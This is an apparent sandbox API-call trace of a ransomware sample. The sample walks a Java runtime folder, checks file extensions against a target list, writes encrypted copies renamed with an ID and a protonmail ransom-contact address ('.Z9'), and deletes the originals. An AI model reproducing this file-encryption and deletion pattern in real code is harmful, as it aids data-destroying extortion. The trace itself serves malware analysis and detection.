	[0164.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.572] lstrlenW (lpString=".doc") returned 4
	[0164.572] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString=".docx") returned 5
	[0164.572] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.572] lstrlenW (lpString=".pdf") returned 4
	[0164.572] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString=".xls") returned 4
	[0164.572] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString=".xlsx") returned 5
	[0164.572] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.572] lstrlenW (lpString=".ppt") returned 4
	[0164.572] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.572] lstrlenW (lpString=".zip") returned 4
	[0164.572] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString=".rar") returned 4
	[0164.572] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.572] lstrlenW (lpString=".bz2") returned 4
	[0164.573] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".7z") returned 3
	[0164.573] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString=".dbf") returned 4
	[0164.573] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString=".1cd") returned 4
	[0164.573] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString=".jpg") returned 4
	[0164.573] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString=".doc") returned 4
	[0164.573] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".docx") returned 5
	[0164.573] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.573] lstrlenW (lpString=".pdf") returned 4
	[0164.573] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".xls") returned 4
	[0164.573] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".xlsx") returned 5
	[0164.573] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.573] lstrlenW (lpString=".ppt") returned 4
	[0164.573] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.573] lstrlenW (lpString=".zip") returned 4
	[0164.573] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".rar") returned 4
	[0164.573] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".bz2") returned 4
	[0164.573] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.573] lstrlenW (lpString=".7z") returned 3
	[0164.573] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.574] lstrlenW (lpString=".dbf") returned 4
	[0164.574] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0164.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.574] lstrlenW (lpString=".1cd") returned 4
	[0164.574] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0164.574] lstrlenW (lpString=".jpg") returned 4
	[0164.574] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.574] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.574] lstrlenW (lpString="plugin.jar") returned 10
	[0164.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.574] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=1923211) returned 1
	[0164.574] CloseHandle (hObject=0x448) returned 1
	[0164.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20
	[0164.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0164.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.575] lstrlenW (lpString=".doc") returned 4
	[0164.575] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.575] lstrlenW (lpString=".docx") returned 5
	[0164.575] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0164.575] lstrlenW (lpString=".pdf") returned 4
	[0164.575] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.575] lstrlenW (lpString=".xls") returned 4
	[0164.575] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.575] lstrlenW (lpString=".xlsx") returned 5
	[0164.575] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0164.575] lstrlenW (lpString=".ppt") returned 4
	[0164.575] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.575] lstrlenW (lpString=".zip") returned 4
	[0164.575] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.575] lstrlenW (lpString=".rar") returned 4
	[0164.575] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.575] lstrlenW (lpString=".bz2") returned 4
	[0164.575] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.576] lstrlenW (lpString=".7z") returned 3
	[0164.576] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString=".dbf") returned 4
	[0164.576] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString=".1cd") returned 4
	[0164.576] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString=".jpg") returned 4
	[0164.576] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString=".doc") returned 4
	[0164.576] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.576] lstrlenW (lpString=".docx") returned 5
	[0164.576] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0164.576] lstrlenW (lpString=".pdf") returned 4
	[0164.576] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString=".xls") returned 4
	[0164.576] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString=".xlsx") returned 5
	[0164.576] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0164.576] lstrlenW (lpString=".ppt") returned 4
	[0164.576] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.576] lstrlenW (lpString=".zip") returned 4
	[0164.576] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString=".rar") returned 4
	[0164.576] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.576] lstrlenW (lpString=".bz2") returned 4
	[0164.576] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.576] lstrlenW (lpString=".7z") returned 3
	[0164.576] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.577] lstrlenW (lpString=".dbf") returned 4
	[0164.577] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.577] lstrlenW (lpString=".1cd") returned 4
	[0164.577] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.577] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0164.577] lstrlenW (lpString=".jpg") returned 4
	[0164.577] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.577] lstrcmpiW (lpString1=".ja", lpString2=".Z9") returned -1
	[0164.577] lstrlenW (lpString="psfont.properties.ja") returned 20
	[0164.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.578] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=2796) returned 1
	[0164.578] CloseHandle (hObject=0x448) returned 1
	[0164.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20
	[0164.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.578] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.578] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.579] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.579] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.579] GetLastError () returned 0x0
	[0164.579] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0xaec, lpOverlapped=0x0) returned 1
	[0164.581] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0164.605] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.605] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xfc, lpOverlapped=0x0) returned 1
	[0164.606] SetEndOfFile (hFile=0x44c) returned 1
	[0164.606] CloseHandle (hObject=0x44c) returned 1
	[0164.606] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.606] SetEndOfFile (hFile=0x448) returned 1
	[0164.609] CloseHandle (hObject=0x448) returned 1
	[0164.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.609] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString=".doc") returned 4
	[0164.610] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".docx") returned 5
	[0164.610] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0164.610] lstrlenW (lpString=".pdf") returned 4
	[0164.610] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".xls") returned 4
	[0164.610] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".xlsx") returned 5
	[0164.610] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0164.610] lstrlenW (lpString=".ppt") returned 4
	[0164.610] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString=".zip") returned 4
	[0164.610] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".rar") returned 4
	[0164.610] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".bz2") returned 4
	[0164.610] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString=".7z") returned 3
	[0164.610] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString=".dbf") returned 4
	[0164.610] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString=".1cd") returned 4
	[0164.610] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0164.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.610] lstrlenW (lpString=".jpg") returned 4
	[0164.610] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString=".doc") returned 4
	[0164.611] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".docx") returned 5
	[0164.611] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0164.611] lstrlenW (lpString=".pdf") returned 4
	[0164.611] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".xls") returned 4
	[0164.611] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".xlsx") returned 5
	[0164.611] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0164.611] lstrlenW (lpString=".ppt") returned 4
	[0164.611] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString=".zip") returned 4
	[0164.611] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".rar") returned 4
	[0164.611] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".bz2") returned 4
	[0164.611] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString=".7z") returned 3
	[0164.611] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString=".dbf") returned 4
	[0164.611] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString=".1cd") returned 4
	[0164.611] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0164.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0164.611] lstrlenW (lpString=".jpg") returned 4
	[0164.611] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0164.612] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0164.612] lstrlenW (lpString="psfontj2d.properties") returned 20
	[0164.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.612] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10393) returned 1
	[0164.612] CloseHandle (hObject=0x448) returned 1
	[0164.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20
	[0164.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.613] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.778] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.779] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.779] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0164.779] GetLastError () returned 0x0
	[0164.779] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2899, lpOverlapped=0x0) returned 1
	[0164.783] WriteFile (in: hFile=0x3d4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x28a0, lpOverlapped=0x0) returned 1
	[0164.784] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.784] WriteFile (in: hFile=0x3d4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xfc, lpOverlapped=0x0) returned 1
	[0164.784] SetEndOfFile (hFile=0x3d4) returned 1
	[0164.784] CloseHandle (hObject=0x3d4) returned 1
	[0164.784] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.784] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.788] CloseHandle (hObject=0x3e0) returned 1
	[0164.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.788] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1
	[0164.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.789] lstrlenW (lpString=".doc") returned 4
	[0164.789] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".docx") returned 5
	[0164.789] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.789] lstrlenW (lpString=".pdf") returned 4
	[0164.789] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".xls") returned 4
	[0164.789] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".xlsx") returned 5
	[0164.789] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.789] lstrlenW (lpString=".ppt") returned 4
	[0164.789] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.789] lstrlenW (lpString=".zip") returned 4
	[0164.789] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".rar") returned 4
	[0164.789] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".bz2") returned 4
	[0164.789] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString=".7z") returned 3
	[0164.789] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.789] lstrlenW (lpString=".dbf") returned 4
	[0164.789] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0164.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.789] lstrlenW (lpString=".1cd") returned 4
	[0164.790] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".jpg") returned 4
	[0164.790] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".doc") returned 4
	[0164.790] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".docx") returned 5
	[0164.790] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.790] lstrlenW (lpString=".pdf") returned 4
	[0164.790] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".xls") returned 4
	[0164.790] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".xlsx") returned 5
	[0164.790] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.790] lstrlenW (lpString=".ppt") returned 4
	[0164.790] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".zip") returned 4
	[0164.790] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".rar") returned 4
	[0164.790] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".bz2") returned 4
	[0164.790] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString=".7z") returned 3
	[0164.790] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".dbf") returned 4
	[0164.790] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
